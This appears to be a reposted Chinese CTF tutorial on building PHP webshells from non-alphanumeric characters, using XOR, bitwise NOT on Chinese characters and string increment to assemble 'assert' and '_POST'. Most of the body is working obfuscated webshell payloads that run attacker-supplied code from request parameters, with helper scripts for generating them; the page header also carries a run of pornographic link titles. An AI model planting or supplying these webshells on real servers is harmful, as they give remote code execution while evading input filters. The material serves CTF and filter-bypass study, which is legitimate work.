日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

浅析无字符数字构造webshell

發布時間:2024/9/30 编程问答 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 浅析无字符数字构造webshell 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言:

之前在命令執行的時候多少學了一點,但發現如果不自己去動手實踐一下會忘的很快,這次就來動手實踐一番。恰好最近做了很多有關無字符數字的CTF題,恰好可以作為例子說一下。

0x00:轉換思想:

如果遇到一段代碼將字符和數字全部過濾,就要轉變思想,既然非字母、數字的字符還存在,就通過各種變換方法構造出我們想要的字符,然后再利用PHP允許動態函數執行的特點,拼接成一個函數名,最后動態執行即可繞過。

#在php5中assert是一個函數,便可以通過上這樣的方法來動態執行任意代碼 $f='assert';$f(...);

所以思想也很簡單了,就是將非字符數字通過處理后進行拼接。

0x01:PHP中的異或

在PHP中,兩個變量的值進行異或時,會先將兩個變量的值轉換為ASCII,再將ASCII轉換為二進制,對兩對二進制數據進行異或,異或完,再將結果轉為ASCII,最后將ASCII轉為字符串,即為最終結果。
其實也就是在PHP中,兩個字符串執行異或操作以后,得到的還是一個字符串

異或規則

0&0=0 1&1=0 0&1=1 1&0=1 兩個二進制數相同時,異或為0,不同為1

下面來看一段通過異或獲得的無字符數字webshell

<?php@$_++; // $_ = 1$__=("#"^"|"); // $__ = _$__.=("."^"~"); // _P$__.=("/"^"`"); // _PO$__.=("|"^"/"); // _POS$__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ?>

也直接合成一句話進行使用

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");

簡單分析一下這段代碼:

  • $_++ :對變量名為_的變量進行自增操作,在PHP中未定義的變量默認值為Null,null==false==0,因此可以在不使用任何數字的情況下,通過對未定義變量的自增操作來得到一個數字。
  • .=是字符串的連接

注意因為exp中含有特殊字符,所以需要進行url編碼才可以正常使用

再看一下PHITHON師傅通過異或得到webshell,也是一樣的原理

<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); #$_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); #$__='_POST'; $___=$$__; $_($___[_]); #assert($_POST[_]);


但有一個缺點就是這樣構造的webshell代碼過長,如果限制了長度就沒有辦法再進行利用。但如果題目條件限制只能使用異或這種方法來構造webshell,也是可以縮短長度的,可以讓字符一起異或使用
如:

<?php var_dump("#./|{"^"|~`//"); //_POST var_dump("`{{{"^"?<>/"); //_GET ?>

其實原理都一樣,按照順序進行異或,從而得到相應的字符,就拿GET來說,可以組成下面的payload

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); #$_GET[_]($_GET[__])


簡單的異或腳本

<?php for ($i=0; $i < 256; $i++) { for ($j=0; $j < 256; $j++) { if(chr($i ^ $j) == 'P'){echo(urlencode(chr($i)) . " " . urlencode(chr($j)));echo "\n";}} } ?>

0x01:PHP中的取反

求反運算符~為單目運算符,具有右結合性。其功能是對參與運算的數的各二進位按位求反。
負數用十六進制表示,通常用的是補碼的方式表示。負數的補碼是它本身的值每位求反,最后再加一

利用的是UTF-8編碼的某個漢字,并將其中某個字符取出來,如:

拿和字來說

"和" 的第三個字節的值為 140[0x8c],取反的值為 -141 '和'{2}的結果是"\x8c",其取反即為字母s:

所以當題目限制不能使用字母和數字時,就可以通過結合漢字進行取反繞過,這里就記錄下PHITHON 師傅的payload

<?php $__=('>'>'<')+('>'>'<'); #$__2 $_=$__/$__; #$_1$____=''; $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); #$____=assert$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); #$_____=_POST$_=$$_____; #$_=$_POST $____($_[$__]); #assert($_POST[2]) ?>

由于Payload中含有一些特殊字符,所以需要對Payload進行一次URL編碼才可以正常使用

這種方法是通過和漢字結合來獲取webshell,但要注意在PHP7下因為語法所以是不可以直接使用

$a = ~("瞰"{2});

可以使用下面的方法

$___="瞰"; $a = ~($___{2});

除此之外還可以使用另外一種方法進行構造,在上面已經知道了,這兩個寫法性質一樣,得到的結果相同。

<?php $_="和"; print(~($_{2})); print(~"\x8c"); ?> #結果為 ss

所以可以直接寫成~"\x8c"這種形式,能夠縮減不少字符,腳本如下:

#腳本參考V0n師傅的 def get(shell):hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))hexbit = hexbit.replace('0x','%')print(hexbit) get('assert') get('_POST') #%9e%8c%8c%9a%8d%8b assert #%a0%af%b0%ac%ab _POST


所以構造exp為:

<?php $_=~"%9e%8c%8c%9a%8d%8b"; //$_=assert $__=~"%a0%af%b0%ac%ab"; //$__=_POST$___=$$__;//$___=$_POST $_($___[_]);//assert($_POST[_])


因為有些payload中含有不可見字符,所以需要用url編碼表示,但如果覺得自己的payload沒有問題執行不出來的話就編碼一下再試,有時也不需要進行編碼。

0x03:php 遞增/遞減運算符


很明顯了,如果能夠得到"A",那么我們就能通過自增自減,得到所有的字母。

"A"++ ==> "B" "B"++ ==> "C"

那如何拿到一個值為字符串’A’的變量,在PHP如果強制連接數組和字符串的話,數組將被轉換成字符串,其值為"Array"。再取這個字符串的第一個字母,就可以獲得"A"??梢詼y試一下:

故payload為:

<?php $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__;$____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__;$_=$$____; $___($_[_]); // ASSERT($_POST[_]);

(PHP函數是大小寫不敏感的,所以最終執行的是ASSERT($POST[]),無需獲取小寫a)

但是這段exp實在是太長了,如果限制了長度基本就沒戲了。

0x04:PHP中的短標簽

有的時候因為題目限制,比如過濾了空格或字母,但又要上傳php文件,可以將<?php替換為<?=
在PHP中有兩種短標簽,<??>和<?=?>。<??>相當于對<?php>的替換。而<?=?>則是相當于<? echo>。
例如:

<?= 'shy'?>


PHP的短標簽需要將php.ini中設置short_open_tag為on才能開啟短標簽(默認是開啟的,但似乎又默認注釋,所以還是等于沒開啟)。但實際上在PHP5.4以后,無論short_open_tag是否開啟,<?=?>這種寫法總是適用的,<??>這種寫法則需要short_open_tag開啟才行。

0x05:PHP5與PHP7

  • 在PHP5中,assert()是一個函數,可以使用$_=assert;$_()這樣的形式來執行代碼。但在PHP7中,assert()變成了一個和eval()一樣的語言結構,不再支持上面那種調用方法。
  • 在PHP5中,是不支持($a)()這種調用方法的,但在PHP7中支持這種調用方法,因此支持這么寫('phpinfo')();

總結

常見的構造方法基本就這幾種了,但還有一些構造方法沒有寫,待做題遇到了再來補充。

總結

以上是生活随笔為你收集整理的浅析无字符数字构造webshell的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。